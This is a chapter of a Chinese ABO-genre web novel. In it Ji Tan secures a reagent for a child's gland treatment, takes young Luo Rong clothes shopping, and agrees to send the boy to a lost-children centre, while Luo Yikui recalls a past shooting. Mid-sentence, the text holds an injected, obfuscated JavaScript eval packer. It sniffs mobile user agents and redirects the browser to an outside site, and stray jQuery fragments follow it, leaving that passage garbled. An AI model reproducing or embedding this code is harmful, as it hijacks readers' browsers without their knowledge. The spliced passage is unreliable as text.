眼见着骆义奎的身影彻底消失在视线里,纪谈这才微微松开了紧抱着骆融的手,小崽子在他怀里差点闷坏了,一张小脸红扑扑的像颗红苹果,脑门上的细软发丝也蹭得乱糟糟的。
纪谈后知后觉地感到了一点歉意,他揉揉骆融的脑袋,给他理顺头发,一边低声说道:“对不起,很快就结束了。”
将试剂成功收入席诉名下后,纪谈带着小孩低调地离了场。
等到过几日,这支试剂会在严密的保管下悄无声息地转移,纪谈派了协会内部的专业武装人员,对全过程严控把守,百分百确保这支试剂最后转移到朱士孝手中。
意犹未尽的是骆融,他心想刚刚都没看见他爸,只听到了声音,离得很近。
纪谈带着他上了车后,从车内配置的保鲜柜里拿出一瓶果汁,插上吸管递给骆融,“在想什么?”
骆融接过果汁喝一口,很新鲜,是刚榨的,他突发奇想,问纪谈:“妈妈,刚刚那个人是谁?”
他问的自然是骆义奎。
骆融两只圆眼睛亮晶晶的,一边喝果汁一边坐在座椅上甩着小腿,很期待听到答案的模样。
可就在骆融天真地以为自己看到他妈害羞的一面时,纪谈却是淡声回答:“不是好人,以后碰到他离远些。”
骆融听到,手里的果汁一歪,洒了点在裤子上。
一脸受到打击的表情。
纪谈看不懂他小脑袋瓜里在想什么,捏了捏他的脸蛋,又一旁打电话忙去了。
并不知情处在话题中心的骆义奎一脸冷漠地处理完老爷子和骆兰秉那边,秘书魏休递过开着提案的工作电脑,一边与他报告。
商会那群揣奸把滑的老东西近来盯上了一个新的投资项目,只是在触及律法边缘的情况下,没人敢贸然出手,行商这一行除非有势,否则多少会忌惮那些手握政权的人。
“耀明科技的黄总希望能够借助骆家的力量,将新型试剂的名义暂时归属在骆家名下,至于开出的条件,都一一写明在提案里了。”
骆义奎靠着椅背,指尖点点抖落烟灰,烟雾缭绕中他神色不明,只是突兀地反问道:“魏休,你觉得实验体有人权吗?”
魏休想了想,说:“从生物学角度上来看,实验体和普通人群同样有鼻子有眼有腺体,当然可视作为独立个体,但他们的生命是人为实验繁育而出的,这项实验技术甚至被申请了专利,这就代表着实验体所产的后代无可避免产生物品的归属性,而要真正去定义是否具有人权,得看归属者对他们所赋予的意义。”
骆义奎敛着眉目,他没再开口,因为脑海中不可控地浮现起无数次出现在梦里的一幕,潮湿的雨夜,他视野中自己早已僵冷的手指,以及怀抱中失温的身体。
那人的面容犹如惨败凋零的花朵,然而脖颈处却有蓝色密集的丝状物在往脸上蔓延,并且散发着幽幽的光芒,他耳边还盘绕着金属弹壳掉落的清脆声音,敲得人后脑蔓上冰冷的麻木感,以及另一道男人的声音,模糊着并不清晰:
“……击杀完成,阿奎,别愣着了,你的子弹不是百无一失吗,怎么靶子会动,你就不动了?”
骆义奎无声地闭了闭眼,食指微蜷,魏休看他不说话,就在一旁静候着,直到片刻过后,劳斯莱斯商务轿车缓缓停驻,骆义奎把外套一披,一言不发地下了车。
天空不知什么时候下起了点毛毛雨,魏休将随身携带的深色雨伞一撑,刚要上前去为骆义奎挡雨,却被他挡手拒绝了。
直到自家老板头也不回地跨进大门,魏休这才低头看了眼手里刚刚递上去,却一眼都没被看的孤落落的提案。
…
纪谈抽空带着骆融去了趟商场。
试剂已经成功被收购入协会中,当然是以席诉的名义,只是接下来对于孩子的腺体治疗还需谨慎地推进下一步,这一批试剂中真正能基因序列匹配成功,能起效的只有一支,代表着机会只有一次,纪谈专门派遣了几名对omega腺体研究透彻的人员进行深入把控,具体数值要等一段时间才能出来。
纪谈暂时得了空,潘洪告诉他,小朋友天天闷在协会里不利于成长,刚好纪谈打算给骆融买几身衣物,就亲自领着他去了趟坪市内最大的商城。
其实这时的经济发展还远不如十年后,但只要能和纪谈一起出门,骆融就很开心。
由于十年后的协会接手了海城区的政治管制权,工作范围极大扩张,远比如今要忙的多,纪谈一个月连回家吃饭的次数都寥寥无几,更别提有时间带他出门玩,也是考虑到这点,才有了后来尉迟以及塞斯的出现。
骆融开始记事时,尉迟和塞斯就在他身边了,但他小姑曾和他提过他还很小、尚不记事时的事情,纪谈在怀他的那年信息素紊乱严重,受其影响,骆融在刚出生时就患有严重的信息素依赖症,几乎无法离开父母半步,所以在他还不会走路的年纪,纪谈和骆义奎只能连工作都随时将他带在身边亲自照顾。
只是可惜骆融一点记忆都没有。
他小姑就拿手指敲敲他的脑袋,语重心长地说:“你爸妈那两年啊,算是被你折磨透了。”
骆融抬头去看正牵着他的纪谈,他看得出了神,连被牵着走进一家高档儿童服装店都没发觉。
直到穿着制服面带笑容的导购员上前温柔礼貌地询问:“这位先生,来带孩子买衣服吗?”
“嗯。”纪谈道。
骆融被领着量了身高尺寸,他从前没怎么来过服装店,衣物都是家里专门派人去购买打理的,所以纪谈让他自己挑选喜欢的衣服后,他兴致勃勃地拿了几件色彩搭配乱七八糟的衣裤。
纪谈眉心嫌弃地拧起,而后捏了捏鼻根,闭眼无奈道:“别的就算了,至少把那双亮绿色的长袜放下。”
骆融哼唧。
买衣服的过程花了些精力,等到收工回到车上,骆融两只眼皮犯困耷拉着,他揉揉眼睛钻进纪谈怀里,听着纪谈打电话的声音睡去。
十分钟后纪谈挂断了电话,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775381|190286||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
怀里托着熟睡的小孩,低声对前面的司机吩咐道:“去协会。”
“是。”
潘洪本来正埋头忙正事,一听说会长带着波米来了协会,就暂时放下了手里的活去了趟纪谈的办公室,敲门被允许进入时,纪谈正把熟睡的骆融放在休息室里的床上,从柜子里抽出条毛毯盖在他的小肚皮上。
“会长,”潘洪等他出来后,挠了挠架着眼镜框的鼻梁,“波米睡着了啊,我还想和他说他那只手环的事……”
纪谈在办公桌前坐下,语调平平:“查出什么了?”
潘洪:“除了上次和会长提过的3A技术以外,我们没再查到其他异样,且这个技术的来源也一点消息都查不到,我打算先把手环送到高级器械研发中心那儿去,至少能先把屏幕修好……毕竟答应了小孩,再没点进展,怕惹得他又哭鼻子。”
最后一句话里的“又”字被纪谈精准抓住,原来上回哭就是因为这个缘故。
刚好这时有人把骆融的新衣服给送了上来,潘洪看着愣了下,随后神色犹豫地开口道:“会长,我们的人查到,有人通过轮船水路,大批次收购运输了泮氏的武器枪支,联邦军事管辖中心才面向各区部发布了公告,他们就已经开始迫不及待建造大规模的训练所,选拔身强体壮的alpha,未来一段时间怕是少不了一场拉锯战。”
所以无论政界还是武器界中的局势会越来越混乱,潘洪瞥了眼休息室的方向,即便这样说显得很无情,但这毕竟还是为了波米的安全考虑。
“会长,邮件发出后骆家人对此没有任何回应,波米的事再拖下去也只会不了了之,所以我赞同澜山的说法,他继续留在协会没有任何益处,反而有可能会被牵扯进不必要的势力纠纷里,目前来看最合适的选择就是把他送到儿童遗失中心处,那里有专业人员和系统,也许对他更有帮助。”
纪谈沉默片刻,下令道:“你派个人去对接。”
“是。”潘洪闻言松了口气,果然会长仍然是冷静且理智,会为大局顾全考虑。
这样的抉择显然最好不过,纪谈时常要出差,下个月计划与其他高层一起前往联邦中心商议有关批次无籍omega的属地权,这群omega是在几艘被抛弃的轮渡中被海警发现的,数量之多,背地里极大可能性存在非法交易,纪谈不得不亲自动身前去一趟,而协会内其余人各司其职,没人能担保自己有时间照顾一个小孩。
并且骆融走失的时间太长,或许只能通过联系有威名的专业机构,才能够尽快找到他的家人。
骆融一觉睡醒后,宽敞冷清的休息室里一个人影都没有,他脑袋埋在被子里磨蹭着不肯下床,休息室的门却在这时被打开,一阵脚步声由远及近后,盖在头上的薄被被一只手掀开。
“懒猪,再不起,一会儿会长要亲自过来拎你了。”
骆融不相信他说的话。
见状,悬河低头看了眼腕表,“还有十分钟会议结束,现在起来还有时间洗把脸醒醒神。”